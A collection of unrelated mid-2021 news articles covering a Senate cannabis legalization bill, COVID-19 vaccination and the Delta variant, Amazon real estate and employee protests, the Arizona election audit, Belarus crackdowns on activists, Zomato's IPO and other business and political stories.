U.S. Senator Cory Booker and Senate Minority Leader Chuck Schumer talk at a news conference following the Democrats weekly policy luncheon at the U.S. Capitol June 23, 2020 in Washington, DC. / Credit: Alex Wong / Getty Images

"While red and blue states across the country continue to legalize marijuana, the federal government continues to lag woefully behind," Booker said in a statement. "It is time for Congress to end the federal marijuana prohibition and reinvest in communities most impacted by the failed War on Drugs."

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It is unclear how much support the bill will garner in the Senate as 10 Republicans are needed with all Democratic support for the bill to clear the 60 vote threshold. Earlier this year, the House passed a bill with broad bipartisan support that would not subject banks that provide services to cannabis businesses to penalties from banking regulators.

The senators' draft proposal states the measure "will ensure that Americans  especially Black and Brown Americans  no longer have to fear arrest or be barred from public housing or federal financial aid for higher education for using cannabis in states where it's legal." For people and communities adversely affected by the war on drugs, federal nonviolent marijuana crimes would be expunged, and those currently serving a prison sentence for a nonviolent crime would be able to petition for resentencing.

For communities impacted by the war on drugs, the bill would create three grant programs aimed at restoring justice. A community reinvestment program would provide funding to nonprofits to help people incarcerated under more draconian drug laws with re-entry services and job training.

The Small Business Administration would oversee the development of the other two programs, providing funding to states and localities for loans for small businesses in the cannabis industry and for licensing programs to reduce barriers to entry in cannabis businesses for individuals.

Asked about working on a smaller package, such as a banking bill to protect banks that serve cannabis businesses, Booker rejected the idea of supporting a banking provision that would not include restorative justice for communities. It's not clear that all of the parts of the Democrats' measure, including cannabis legalization, can attract enough support to pass.

"I don't know about other members of the Senate, but I will lay myself down to do everything I can to stop an easy banking bill that is going to allow all these corporations to make a lot more money off of this as opposed to focusing on the restorative justice aspects," Booker said.

As is the case with alcohol and tobacco, cannabis and its products would be subject to an excise tax. The tax rate would increase over a five-year period after enactment, starting at 10% and gradually increasing to 25% after five years. A tax credit that would reduce the tax rate by half would be available for smaller cannabis businesses that make less than $20 million in sales annually.

Senate Democrats unveil $3.5 trillion budget agreement

Russian officials blame latest COVID-19 wave on Delta variant and low vaccination rate

Engineers create a 3D-printed robotic hand capable of playing Nintendo
Worker Scott Zorn holds up a sign to signal an open station at a community vaccination site in Seattle, Washington, on March 13, 2021. Jason Redmond/AFP/Getty Images

Officials from four of the US's most vaccinated counties share their recipes for success.

They cite two factors: Residents had easy access to shots and heard about vaccines from trusted sources.

Those counties - in Maryland, Pennsylvania, Wisconsin, and Washington - have vaccinated at least 70% of residents.

See more stories on Insider's business page.

In July 2020, health officials in King County, Washington, gathered to discuss a plan for administering coronavirus vaccines - five months before the shots would become available.

At the time, the group didn't know how many doses the county would get, how many shots would be needed per person, or the temperature requirements for storage. But they did know one thing: The southern part of the county would be hardest to vaccinate.

That area is home to a high concentration of low-income residents, people of color, and people with limited English proficiency - all groups who have been disproportionately hit by the pandemic. Even before 2020, the life expectancy of South King County residents was 10 years lower than among people in North and East King County, due to factors like poverty, obesity, and access to healthy food.

"We knew that our role as public health would be to work with our health-system partners to make sure that vaccine was accessible across King County, but with a special focus on the residents of South King County," Libby Page, the county's immunization program director, told Insider.

The county decided to station high-volume vaccination sites in two southern cities, Kent and Auburn. It also dispatched mobile clinics to reach people who couldn't drive to get shots or afford to take time off work. And it enlisted a team of "community navigators" - people from diverse backgrounds who could educate their neighbors about the vaccine.

The efforts paid off: King County, which includes Seattle, now has one of the highest vaccination rates in the US. More than 71% of the county's nearly 2.3 million residents have received at least one dose.

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Insider spoke with public-health officials in three other counties with even higher vaccination rates - Montgomery County, Pennsylvania; Montgomery County, Maryland; and Dane County, Wisconsin - to find out what has worked so well.

Like Page, those officials credit their success, in part, to efforts to offer residents vaccines near their homes and ensure that people hear about the shots from trusted sources like neighbors, religious leaders, or non-English-speaking media outlets.

In Dane County, where 72% of residents there have gotten at least one dose, mobile clinics went to the same neighborhoods again and again.

"It's never our job to convince people to get vaccinated," Tess Ellens, Dane County's immunization coordinator, told Insider. "It's to keep showing up and provide reliable information. If you continue to show up, that will eventually build the relationship for people to trust you to get vaccinated."

Bringing vaccines to the most vulnerable communities

A mobile coronavirus vaccination clinic in Wheaton, Maryland, on May 21, 2021. Chip Somodevilla/Getty Images

Just because shots are available doesn't mean they're easily accessible.

In Montgomery County, Maryland - where 76% of residents have received at least one dose - public-health officers made sure that wealthier communities didn't "gobble up all of the doses," Travis Gayles, the county's chief of public-health services, told Insider.

The county set up large-scale vaccination sites at schools and recreation centers near the ZIP codes with the highest levels of coronavirus transmission. It also made sure those sites were located by bus stops and metro stations.

"Folks were saying it was unfair that we were giving some weight to certain ZIP codes," Gayles said. However, he added, "there was significantly higher COVID-related fatalities in one ZIP code versus another."

Other successful counties relied on mobile clinics to bring shots to schools, churches, long-term care facilities, homeless shelters, and low-income housing. Since April, Dane County has dispatched more than 60 such clinics.

"We really need to meet people where they're at," Ellens said. "Being with people in their communities, near their homes - we're catching a lot of folks to get vaccinated that way."

These four counties, however, have another factor on their side. They lean Democratic, which is correlated with lower vaccine hesitancy. In an average US county that voted for Donald Trump, 34% of people are fully vaccinated - whereas 45% of people are fully vaccinated in an average county that voted for Joe Biden, according to data collected by The New York Times.

Jones County, North Carolina, for instance, is largely Republican. Just 40% of residents there have received at least one dose. The county health department canceled its mass vaccination sites due to lack of interest, a local nursing supervisor told ABC12. Advertisements for vaccines haven't seemed to work, either, nor has the state's offer to enter vaccinated people in a $1 million lottery. (Boston University researchers recently found that lottery incentives don't increase vaccination rates.)

Trusted messengers can convince people

Byron Saunders holds his wife Joyce's hand as she gets the Pfizer COVID-19 vaccine in Seattle, Washington, on March 13, 2021. Jason Redmond/AFP/Getty Images

Dane County officials were careful not to be too pushy about vaccines at mobile clinics.

"Even if we don't vaccinate anybody on [a given] day, we'll keep going back because we feel like those conversations are more important than us feeling like we're checking a box or something that looks good on a report or flyer," Ellens said.

But in some cases, she added, a single conversation can be enough.

"Once people vent some of their fears and frustrations, it's really helpful to get to a point of like, 'Hey, we can actually work through some of these,'" Ellens said. "Several people within our homeless community in Dane County have chosen to receive vaccines now because of this continued presence at where they live and work and play."

Still, public-health officials have found that many people prefer to hear about vaccines from those who speak their language or live in their communities.

"We recognize that in some communities there's not trust of government, and we're not going to be the appropriate messenger to counter that information," Page said.

So public-health officials in King County worked with non-profits like the Somali Health Board to help vaccinate immigrants and refugees. Montgomery County, Maryland, partnered with health programs that focus on minority groups to organize community clinics. In Montgomery County, Pennsylvania, volunteers are asked to inform friends, family, neighbors, or social networks about the importance of getting vaccinated.

But none of these four counties is celebrating yet. All remain focused on getting more shots into arms.

"There are people that will not be vaccinated because they just don't want to be vaccinated," Janet Panning, the interim public-health administrator in Montgomery County, Pennsylvania, said. "There are also people that are still on the fence, and those are the ones that we're reaching out to right now."

Read the original article on Business Insider
A 5-year-old boy died Tuesday morning from injuries he suffered when he was pulled out of water at a home in north Fort Worth, authorities said.

The boy was identified as Rayshan Stevens of the Virgin Islands, according to officials with the Tarrant County medical examiners office. A ruling on his death is pending an autopsy.

Rayshan died at 10:31 a.m. Tuesday at Cook Childrens Medical Center in Fort Worth.

A person called authorities about 1 p.m. Saturday and reported that a child had drowned in the 9800 block of Yellow Cup Drive and that CPR was being performed on the boy.

The boy who was in critical condition was taken to Cook Childrens.

Authorities said the boy was pulled out of a backyard swimming pool.

No other details were released on the accident.
The former Nickelodeon star announced a break from social media after being called out by fans for mocking a viral dance started by Black TikTokers. Lindsey Shaw/TikTok/Instagram

Actor Lindsey Shaw was criticized for imitating a Black TikToker's dance.

Her former co-star Devon Werkheiser also participated in the dance trend.

She has since apologized and announced a social media break in response to backlash.

Visit Insider's homepage for more stories.

"Pretty Little Liars" actor Lindsey Shaw announced that she was taking a break from TikTok following backlash after she was accused of mocking a Black TikToker's dance.

In the now-deleted TikTok, which was reuploaded by user @nonotcandace, Shaw can be seen reacting to a Black creator performing a viral dance craze dubbed the "Don't Spill Challenge," saying: "Hey, are you OK? What the f--- is this?" before imitating the dance.



Many users considered Shaw's rendition of the dance to be problematic, especially since she had previously appeared to react positively to former "Ned's Declassified School Survival Guide" co-star, Devon Werkheiser when he performed the same dance on his own TikTok page, commenting "Get it!!!!" followed by cry-laughing face emojis.

"For anyone confused: She PRAISED her white friend, Devon, for doing the trend but insulted the black creators," a TikTok user said in one such comment under the re-uploaded video.

Shaw responded to the controversy in a video uploaded to her Instagram story on Monday July 12, in which she said, "I did not mean anything in any kinda way, I am learning every day as I think everybody is and this kind of hate just needs to evaporate from the planet no matter who it's directed towards. Crocodile tears? No, dude, like, this is like, my soul out there. If you know anything about what I stand for or what I believe in then you know that it's not this. I am sorry you were offended."



Announcing that she would be temporarily leaving social media, Shaw added: "I gotta just go off of here for a little while. But I appreciate you, I love you, and I'll be back. And I hope that I know more, and I hope we all have a little more compassion and understanding."

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Following Shaw's Instagram story, Wekseiser also addressed the controversy. Responding to a fan's question about the issue in a TikTok, he said, "Lindsey [made] a very unnecessary video hating on the most popular trend on TikTok that happens to be created by Black creator before getting rather reactionary and defensive in her comment section before deleting the video," he said in a TikTok.

He added, "Friends don't get canceled in real life," and said that Shaw has a "good heart and is dealing with personal issues."

This controversy comes after rising concern around the way Black creators are being treated on the platform. Recently, Black TikTokers went on "strike" in order to highlight dance appropriation by white creators, while "The View" host Sunny Hostin called out TikTok star Charli D'Amelio for emulating Black TikTokers' dances without crediting them.

Lindsey Shaw did not immediately respond to Insider's request for comment.

To read more stories like this, check out Insider's digital culture coverage here.

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The Hollywood martial-arts star Jackie Chan said last week at a panel for filmmakers in Beijing that he envied those with membership in the Chinese Communist Party. Kiyoshi Ota / Getty Images

The Hollywood legend Jackie Chan expressed interest in joining the Chinese Communist Party.

Chan last week said he saw the "greatness" of the party in the way it "delivers what it promises."

Some Chinese web users pushed back, saying his "moral failings" disqualified him.

Visit Insider's homepage for more stories.

The Hollywood martial-arts superstar Jackie Chan has expressed his desire to become a card-carrying member of the Chinese Communist Party.

Chan was speaking at a Beijing symposium for Chinese film last week and was asked about his views on Chinese President Xi Jinping's speech at the Communist Party's centenary.

"When I'm abroad I often say I'm proud to be Chinese, but I'm envious of those who are Chinese Communist Party members - I want to be a party member, too," Chan said in a video seen by Insider.

"I can see the greatness of the Communist Party of China," he added. "It does what it says and delivers what it promises. What they set out to do in 100 years, they achieved in a few decades."

Chan's patriotism, however, was snubbed by some commenters on Weibo, the Chinese version of Twitter. The Weibo users questioned Chan's "moral character," citing incidences of his infidelity and his son Jaycee's drug offenses, saying it would disqualify him from becoming a party member.

"He might love the country and be hardworking, but he has character problems," one user with the ID Zhuozhuo Drolma said. "It's better if he doesn't join the party."

Some Weibo users were critical of Chan's lack of faithfulness in his marriage. In a 2015 memoir, he acknowledged having an affair with the actor Elaine Ng and having a child out of wedlock.

According to the Chinese media outlet China Daily, the process of obtaining Communist Party membership involves a detailed vetting procedure that takes into account one's ideology, character, and personal history.

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Chan does not currently hold membership in the Communist Party. He is, however, a delegate in the Chinese People's Political Consultative Conference, a Chinese government advisory body.

The martial-arts star has, however, not been shy about professing his allegiance to the Chinese government.

Chan was front and center at the ruling party's massive 100th-anniversary celebrations at the National Stadium in Beijing on June 28. There, he performed a rendition of "Defending the Yellow River," a song dating back to World War II.

Chan during a performance titled "The Great Journey" at China's National Stadium in Beijing in celebration of the 100th anniversary of the founding of the Communist Party of China. Dong Ning/VCG via Getty Images

He also expressed support for China's crackdown on Hong Kong's pro-democracy protests in 2019.

The South China Morning Post reported that Chan's comments in Beijing prompted ire from fans in Hong Kong once again, some of whom wrote on Twitter that they wished to "un-enjoy every one of his movies."

Chan's representatives did not immediately respond to a request for comment from Insider.

Read the original article on Insider
The Wrap

Michael Wolff, the author best known for the tell-all Fire & Fury: Inside The Trump White House, appeared on Reliable Sources this weekend to promote his newest book  but also took the opportunity to air some of his grievances with host Brian Stelter. What started as a general complaint about all media and Wolff defending comments hes made in the past quickly turned into the veteran writer tearing into Stelter directly. I think you yourself, you know, while youre a nice guy, youre full
Jul. 13The spread of the Delta variant of COVID-19 appears to have accelerated rapidly in the past few weeks, a University of Alabama Birmingham researcher said in a press conference via Zoom on Tuesday.

With the highly contagious variant spreading in a state where few are vaccinated, Derek Moates said, there's a real possibility that a new, still-tougher version of the virus could emerge.

"We do not want the next variant to come from Alabama because we have become complacent in our vaccinations," said Moates, a researcher and lab manager for the UAB Department of Pathology's Fungal Reference Lab.

Since January  the height of the pandemic in Alabama  the lab where Moates works has been analyzing blood samples from coronavirus patients, searching for the arrival of new variants of the virus.

Moates said Delta, the variant that swept rapidly through India, was first spotted in Alabama samples in April.

Delta samples remained relatively uncommon over the next couple of months. But in the past few weeks, Delta became the most common strain, found in 34 of the past 48 samples Moates has analyzed.

What that means is that the Delta variant is spreading. And in those Delta patients, the viral load  a measure of the amount of virus in a person's blood  "is higher than anything we have seen before," Moates said.

A higher viral load means a greater chance of spreading COVID. Moates said that with the viral loads he's seen, a patient can transmit the virus in a minute of exposure to another person.

Those hospitalized at RMC were unvaccinated

Dr. Raul Magadia, who works with COVID patients at Anniston's Regional Medical Center, said the hospital isn't able to determine which variant its patients have. But there are signs, he said, that Delta is bringing in the patients who do arrive.

Some get sick within hours of their first exposure to the virus, he said. They're sicker when they arrive than patients just a few weeks ago.

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"They're under 60 and unvaccinated," he said.

On Tuesday, Magadia said, the hospital had "two and a half" COVID patients in hospital beds. Three were hospitalized, but one patient was preparing to leave Tuesday.

Alabama dead last in vaccinations

The rise of the Delta variant comes as Alabama has dropped to last place among the states in the number of residents who are vaccinated. About two-thirds of eligible Alabamians haven't had a single shot of vaccine.

In Calhoun County, 67 percent of the county is unvaccinated. In neighboring Cleburne County, 77 percent of people have yet to get their first shot.

Statewide and locally, new vaccinations have slowed to a near standstill since the beginning of June. Numbers from the Alabama Department of Health show that fewer people were vaccinated last week in Calhoun County than were vaccinated in the last week of December, when doses were scarce and limited mostly to health care workers.

Hospitalizations rising in Alabama

The rate of new infection has remained low through much of the summer, despite the low rate of vaccination, but that's starting to change.

"We are definitely starting to see a rise in hospitalizations," said assistant state health officer Dr. Karen Landers. About 250 people were hospitalized with the virus statewide this week, while hospitalizations were in the 160 range less than a month ago, according to ADPH numbers.

Landers noted that the positivity rate of COVID tests is climbing, a sign the virus is on the upswing.

Health care experts around the country have warned of the possibility that COVID surges could happen this fall in low-vaccination states such as Alabama. Most state and local leaders in Alabama have typically been more reserved, shying away from making predictions while noting that vaccination is a simple solution to the spread of the virus.

More dangerous variants possible

Some UAB experts, however, have warned of a potential surge in infections among Alabama's unvaccinated that could even lead to the emergence of a new variant.

Moates on Tuesday said that wide dispersal of the Delta variant among unvaccinated Alabamians would give the virus more access to vaccinated people  increasing the chance that vaccine-resistant strains could emerge.

Moates compared the virus to a person playing a video game. Just as a player gets better with each "game over," the virus becomes better adapted each time it's exposed to people and their antibodies.

"Because we haven't been complying with everyone getting vaccinated, we've left the door open for this virus to learn," he said.

Capitol & statewide reporter Tim Lockette: 256-294-4193. On Twitter @TLockette_Star.
Amazon has paid $35 million for the Central Steel & Wire plant on the Southwest Side, completing a deal for one of the largest sites in the e-commerce companys ever-growing distribution network in the Chicago area.

Seattle-based Amazon in June completed the purchase of the more than 70-acre site at 3000 W. 51st St., according to Cook County property records.

In an email, Amazon spokeswoman Caitlin Polochak confirmed the purchase and said a package delivery station is planned for the site. She said construction is expected to begin in 2023. She did not say how large the facility would be or how many people are expected to work there.

The Tribune in March reported Amazons plans to buy the site in the Gage Park neighborhood for about $45 million. Its not clear why the price came in lower than expected.

The seller was Ryerson Holdings Corp., which acquired Central Steel in 2018. Central Steel opened the facility 80 years ago.

The steel company is expected to lease back the facility for a while, but its unclear what will happen to the operation when Amazon demolishes the plant and replaces it with a warehouse.

Ryerson representatives did not respond to requests for comment.

The sprawling site is one of the largest controlled by Amazon in the Chicago area.

Amazon already leases warehouse space a few blocks away at 3507 W. 51st St. in Gage Park.

Recent real estate deals in Chicago are a continuation of Amazons strategy of leasing and buying millions of square feet of warehouse properties throughout the suburbs and city, as it sells more products online  and as it promises faster deliveries.

Amazon said it has invested more than $8 billion in Illinois, where it has more than 36,000 full- and part-time workers. Amazon already has nine fulfillment and sorting centers and eight delivery stations in the state, in addition to a downtown Chicago office, stores and other facilities.

In another recent land deal in the city, Amazon paid about $37.6 million for about 26 acres of parcels in the West Humboldt Park neighborhood, according to property records.

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Amazon in June said it plans a 140,000-square-foot delivery station on the site. It is expected to employ about 500 when it opens late next year.

rori@chicagotribune.com

Twitter @Ryan_Ori
At least two of Amazon's employees quit to protest the company's decision allowing the sale of a book critics say depicts young people identifying as transgender as mentally ill.

A complaint reportedly posted on Amazon's internal message board in April received support from 467 of the company's corporate employees. The complaint cited a decision Amazon shared with Republican senators March 11, claiming the company had "chosen not to sell books that frame LGBTQ+ identity as a mental illness."

The employee complaint post included a petition for the removal of the book Irreversible Damage: The Transgender Craze Seducing Our Daughters, by Abigail Shrier, according to a copy obtained by NBC News.

AMAZON DECIDES NOT TO SELL BOOKS 'THAT FRAME LGBTQ+ IDENTITY AS A MENTAL ILLNESS'

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Shrier defends her writing in the introduction of the book, noting it is "not about transgender adults" but about what she describes as a growing number of girls identifying as transgender. The book "never disparages them, and never implies that the trans identity is a mental illness," she said.

Employees at Amazon disputed Shrier's statement, pointing to a passage in which she wrote, "Many of the adolescent girls suddenly identifying as transgender seemed to be caught in a 'craze'  a cultural enthusiasm that spreads like a virus," describing the "craze" as a "crowd mental illness."

The book literally has ['craze'] in the title and considers being transgender a mental illness in many senses throughout the book, said Selene Xenia, a software engineer who identifies as transgender and left the company in June after learning Amazon would carry Shrier's book.

Shrier's book is listed in the top three spots on Amazon's Best Sellers in LGBTQ+ Demographic Studies for its paper, hardcover, and digital edition copies.

The book had "once again" been removed from retail chain Target's book catalog, the author tweeted Feb. 24, referring to a Nov. 13 incident in which the book was briefly removed and put back on Target's online store.

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Target's online store, however, did not render search results to purchase Shrier's book Wednesday.

Republican Sens. Marco Rubio of Florida, Mike Lee of Utah, Mike Braun of Indiana, and Josh Hawley of Missouri sent their letter to Amazon on Feb. 24 regarding Dr. Ryan Anderson's book When Harry Became Sally: Responding to the Transgender Moment, which is no longer available on Amazon or on its Kindle and Audible platforms.

Anderson told the Washington Examiner in February he did not know his book was no longer available on Amazon until someone who wanted to buy it informed him it was missing.

CLICK HERE TO READ MORE FROM THE WASHINGTON EXAMINER

The Washington Examiner contacted Target, Amazon, and Shrier but did not immediately receive a response.

Washington Examiner Videos

Tags: News, Amazon, LGBT, Transgender, Books & Art, Target

Original Author: Kaelan Deese

Original Location: Amazon workers quit after company won't ban book that mentions transgender 'craze'
Jul. 14SCHENECTADY  An Amsterdam man has been arrested, accused of taking three brass door handles from St. Adalbert Church in Schenectady, authorities said.

Austin L. Leveille, 41, of Lincoln Avenue, Amsterdam, was arrested last week and charged with one count of fourth-degree grand larceny, a felony.

He is accused of taking the brass door handles valued at $1,200 from exterior doors at the church June 21, according to police allegations filed in court. Police made the arrest last Thursday.

Police based the charge in part on security video, a witness statement and admissions made by Leveille, according to the allegations.
(Bloomberg) -- Zomato Ltd., the Indian food delivery startup backed by Jack Mas Ant Group Co., got about 35 times more bids from anchor investors than it intended to sell in its blockbuster initial public offering, according to people with knowledge of the matter.

The Gurgaon-based firm received bids worth 1.5 trillion rupees ($20 billion) from large funds compared with the 42 billion rupees offered, the people said, asking not to be identified as the information is private. The subscription marks one of the most popular Indian IPOs among institutional investors in recent years as Zomato starts taking public orders for the $1.3 billion share sale on Wednesday.

Zomato allocated about 552 million shares to 186 anchor investors including funds managed by BlackRock Inc. and Fidelity International Ltd. as well as New World Fund and Tiger Global, according to a Tuesday filing, which didnt provide any subscription figures. The shares were sold at 76 rupees each to the anchor investors, the top of a marketed range with a minimum price of 72 rupees. Indian funds got about a third of the anchor allotment.

The interest follows a blistering rally in Indian stocks this year, and signals confidence in the market debut of the countrys first real consumer internet offering. Zomato recently raised its IPO target by 14% as demand grew in a fast-growing Indian food-services market that Sanford C. Bernstein & Co. estimates will balloon to $97 billion by 2025.

Zomato is selling about 90 billion rupees worth of new shares in the IPO, while its shareholder Info Edge (India) Ltd. is offering as much as 3.75 billion rupees worth of stocks, according to terms of the deal obtained by Bloomberg News.

Shares of Info Edge rose 0.6% as of 1:40 p.m. in Mumbai on Wednesday, compared with a 0.2% gain in the benchmark index.

At about $1.3 billion, the startups IPO is set to be Indias biggest since SBI Cards & Payment Services Ltd.s $1.4 billion share sale in March 2020, according to data compiled by Bloomberg. That said, Zomatos record could soon be overtaken by digital payments services provider Paytm, which is preparing for its more than $2 billion IPO.

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Kotak Mahindra Capital, Morgan Stanley India, Credit Suisse Group AG, BofA Securities and Citigroup Inc. are managing Zomatos IPO.

(Updates with detail on Indian funds in third paragraph)

More stories like this are available on bloomberg.com

Subscribe now to stay ahead with the most trusted business news source.

2021 Bloomberg L.P.
Ballots counted in the Arizona Senate's audit of the 2020 election differs from the tally by Maricopa County officials.

That's what Senate President Karen Fann said in an interview on Tuesday, in which she also noted the discrepancy prompted the state Legislature to acquire new machines  "not Dominions, separate ones"  to recount the ballots.

A canvass report released by the county, which includes Phoenix, said 2,089,563 ballots were cast in November's election. Fann said she did not know the size of the discrepancy.

"They havent released a number yet," Fann told conservative radio host Mike Broomhead on KTAR. "However, we do know that those numbers do not match with Maricopa County at this point."

President Joe Biden won Arizona by more than 10,000 votes out of more than 3.3 million cast across the state. His lead of roughly 2 percentage points was due partly to his advantage in Maricopa County, where the Democrat scored nearly 45,000 more votes than former President Donald Trump.

DISCREPANCIES IN 2020 ELECTION BALLOT COUNTS DUE TO 'UNFORESEEN CONSEQUENCES AND MISFORTUNE,' WINDHAM AUDIT FINDS

Trump and his allies claim the 2020 contest was stolen, even though election officials have denied seeing evidence of widespread fraud and have heralded the Maricopa County audit as a means to undergird their allegations after courts around the country rejected lawsuits challenging the results.

The remaining count of ballots in Maricopa County will not be a recount of the election contests. A hand recount of votes in the presidential and U.S. Senate races, all won by Democrats, has already been completed, and officials involved in the audit have predicted a report will be released later in the summer.

Maricopa County officials, who opposed the Arizona Senate's audit in court until a judge ruled its subpoenas were "legal and enforceable," previously authorized two election machine audits that found no irregularities in the county's 2020 election. There was also a recount of a sample of ballots that did not turn up any problems.

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Jack Sellers, the GOP chairman of Maricopa Countys Board of Supervisors, told the Arizona Mirror in a statement he was not surprised the state Senate's "woefully underqualified" audit team came up with a different ballot tally than the "experienced professionals" in his countys elections department.

Maricopa County officials announced last month their voting machines subpoenaed for the audit would be removed from service after Arizona's Democratic secretary of state, Katie Hobbs, threatened to decertify the equipment, citing concerns with the methods of Cyber Ninjas, a Florida-based firm hired to lead the review.

CLICK HERE TO READ MORE FROM THE WASHINGTON EXAMINER

Fann defended Cyber Ninjas, which has been criticized for lack of prior audit experience.

"Im confident because its not just them, she said. Everybody keeps just counting on them when actually they are working with a number of other contractors that have experience in audits and in their expertise in their own fields  This is a joint effort.

Washington Examiner Videos

Tags: News, Arizona, 2020 Elections, Election Fraud, Donald Trump

Original Author: Daniel Chaitin

Original Location: Arizona Senate president says 2020 election audit's ballot count differs from Maricopa tally
Bank of Americas vaccinated employees can now return to the office, CFO Paul Donofrio confirmed Wednesday.

We have invited all vaccinated associates back to the office, with the goal of having all of those workers back by the beginning of September, Donofrio said on a call with reporters.

The September benchmark is one that CEO Brian Moynihan has previously cited in public comments for the Charlotte-based bank. After that, the bank will focus on bringing unvaccinated employees back to work, Donofrio said.

The bank plans to transition back (to in-person work) slowly over the next few months, spokesman Mark Pipitone said. Employees invited back will have the flexibility to transition gradually over the summer.

Bank of America has about 16,000 workers in Charlotte and more than 200,000 employees in total.

Once we reach that milestone (for vaccinated workers), we will begin the return of the rest of our associates with safety in mind, Donofrio added.

Donofrios comments came on a call with reporters to discuss the banks second quarter earnings.

BofA quarterly earnings

Bank of America reported net income of $9.2 billion for the second quarter on Wednesday, more than doubling its profits from this time last year, when companies wrestled with the initial coronavirus outbreak.

Revenue in the second quarter fell 4% to $21.5 billion, the bank said, due to a decline in net interest income driven primarily by lower interest rates. The decrease was also driven, in part, by lower sales and trading revenue, the bank said.

In a news release, Moynihan said a return to in-person work could help improve revenue.

More than 85% of our buildings and offices are open, and were welcoming our teammates back, Moynihan said. This means more face-to-face meetings, helping to increase sales.

The banks earnings also got a boost from its decision to release $2.2 billion of reserves that it had previously set aside to handle potential losses on loans due to the coronavirus pandemic. Those losses never materialized, and the bank has released reserves amid an improved economic outlook.
Authorities in Belarus on Wednesday carried out more than 40 raids against the offices and homes of human rights activists and journalists, one day after the countrys authoritarian president said he would "deal with" non-governmental organizations he believes are fomenting unrest, AP reports.

Driving the news: The prominent Viasna human rights center was one of the offices targeted, in addition to other Belarusian NGOs and homes of activists.

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The Viasna center has been monitoring human rights in Belarus for about a quarter-century, per AP. Authorities revoked its credentials in 2003 and arrested its leader in 2012.

The big picture: Last week, authorities conducted more than 30 raids targeting journalists and media organizations, as Belarus President Alexander Lukashenko continues his crackdown on the country's pro-democracy movement.

A total of 39 journalists are currently behind bars, either awaiting court appearances or convicted to prison terms, per AP.

Belarus State Security Committee said earlier this month it was conducting an operation to "purge radically-minded individuals."

Lukashenko on Tuesday vowed to bring to justice 1,500 NGOs and journalists he alleged were "funded from abroad" and "effectively promoting terror."

Catch up quick: Belarusians have been protesting against Lukashenko for nearly a year, after the man known as "Europe's last dictator" claimed a sixth term through a rigged election in August.

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KYIV (Reuters) -Belarusian security police searched offices and homes of lawyers and human rights activists on Wednesday, detaining at least 10 people in a new crackdown on opponents of President Alexander Lukashenko, several rights groups and media said.

Authorities have moved to shut down non-state media outlets and human right groups after mass protests last August against a presidential election the opposition said was rigged.

Police searched offices of at least 14 rights groups, media, NGOs and charity groups, including the human rights organisation, Viasna-96, and the country's oldest political party, Belarusian People Front, the groups said.

Sviatlana Tsikhanouskaya, a protest leader who fled Belarus amid a post-election crackdown, said Lukashenko's regime was taking revenge on human rights activists and media.

"The (regime) accomplices have already threatened civil society in response to sanctions - they hope they can feel his power again if everyone in the country is silent," she wrote on Telegram messenger.

British Foreign Secretary Dominic Raab said Britain condemned what he described as an "escalation in repression" in Belarus by the authorities.

"We call for those detained to be released immediately, along with the hundreds of other people detained on political grounds", Raab said in a statement.

Viasna-96 said its leader, Ales Byalyatski, was detained. Tsikhanouskaya said at least 10 people were also detained.

Belarus security officials were unavailable for comment.

The International Federation for Human Rights said in a statement that arrests "form part of a new wave of attacks against Viasna and other Belarus human rights organisations."

The independent Imena media and charity group, which does not consider itself an opposition outlet, said officers had searched its offices, while Nasha Niva newspaper said police had searched the office of Belarusian Helsinki Committee rights group.

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Viasna-96, Nasha Niva and Imena gave no reason for the searches.

Viasna-96 is the largest rights body in the former Soviet country and is the main source of information on political detentions and arrests. As of Tuesday evening, 555 people had been recognised as political prisoners in Belarus, it said.

Authorities in Belarus said last week they had blocked Nasha Niva's website. They later said they had detained the editor and three journalists.

(Additional reporting by Kanishka Singh in Bengaluru, Andrew Osborn in Moscow; writng by Pavel Polityuk; Editing by Nick Macfie and Marguerita Choy)
The Biden administration will begin evacuating Afghans who assisted the U.S. military during the 20-year war in Afghanistan in the last week of July, a senior administration official said Wednesday.

Why it matters: Since announcing the full military withdrawal from Afghanistan, Biden has faced pressure from lawmakers and veterans to come up with a plan to protect Afghan translators and other military aides before the drawdown is completed late next month.

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Biden announced on July 8 that his administration would fly the Afghan nationals to host countries while they wait for U.S. visas this month, but he has not elaborated on further details.

What they're saying: The senior administration official said the first flights will be available for Afghan nationals who have applied for special immigrant visas and are already in the process of applying for U.S. residency.

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By Huw Jones

LONDON (Reuters) -The Big Four accounting firms dominated auditing of Britain's top listed companies last year and collected higher fees, the industry's regulator said on Wednesday, as long-standing plans to increase competition await implementation.

The Financial Reporting Council (FRC), which regulates auditors, said KPMG, EY, PwC and Deloitte audited all FTSE 100 companies in a roughly even four-way split.

Government-backed reviews proposed a shake-up of the industry after retailer BHS and builder Carillion collapsed following Big Four audits.

The Big Four last year also audited over 200 of the FTSE 250 firms, a segment in which smaller auditors increased their share from 4.8% to 7.6%.

Despite tough economic conditions, the Big Four raised average audit fees by 7.7%, and their rivals by 4.7%, continuing a trend of fees increases since the FRC began collecting data in 2004.

The industry reviews also proposed replacing the FRC with a new, stronger regulator to drive through change, to be called the Audit, Reporting and Governance Authority (ARGA).

The government, however, has yet to bring forward legislation to implement the recommendations.

"Improving competition across the audit market and ensuring audit firms focus, above all else, on delivering high-quality audit is essential to improving trust in audit and corporate governance and remains a key priority for the FRC as it transitions to becoming ARGA," FRC CEO Jon Thompson said in a statement.

The government has proposed that a challenger firm shares an audit with one of the Big Four firms to gain experience with blue chip clients.

But the plan is facing opposition from companies, with calls to impose market share caps on the Big Four instead.

Iain Wright, managing director at ICAEW, a professional accounting body, said improving audit quality is the key issue and that shared audits would take years to make a difference.

"We think that a market share cap would be a useful additional measure and significantly speed up the process," Wright said, adding that establishing ARGA should be the government's top priority.

(Reporting by Huw Jones; editing by John Stonestreet, Kirsten Donovan)
By James Pearson

HANOI (Reuters) - The United States rejects China's "unlawful" maritime claims in the South China Sea and stands with Southeast Asian countries facing Chinese "coercion", Secretary of State Antony Blinken said on Wednesday.

China rejected Blinken's comments, which he made in an address in a video conference with foreign ministers from the Association of Southeast Nations (ASEAN), as irresponsible and aimed at provoking discord.

Blinken also said the United States had "deep concerns" about the situation in Myanmar and urged the group to take action to end violence and restore democracy there.

The meeting with the 10-member bloc, which includes Myanmar, is the first since the Biden administration took office in January and comes amid concerns among diplomats and others that Washington has not been paying sufficient attention to a region that is crucial to its strategy to counter an increasingly assertive China.

ASEAN has been leading the main diplomatic effort on Myanmar since a Feb. 1 coup plunged it into turmoil.

Myanmar's junta has shown little sign of heeding what ASEAN called a five-point consensus, reached in April, which seeks an end to violence, political talks and the nomination of a regional special envoy to Myanmar.

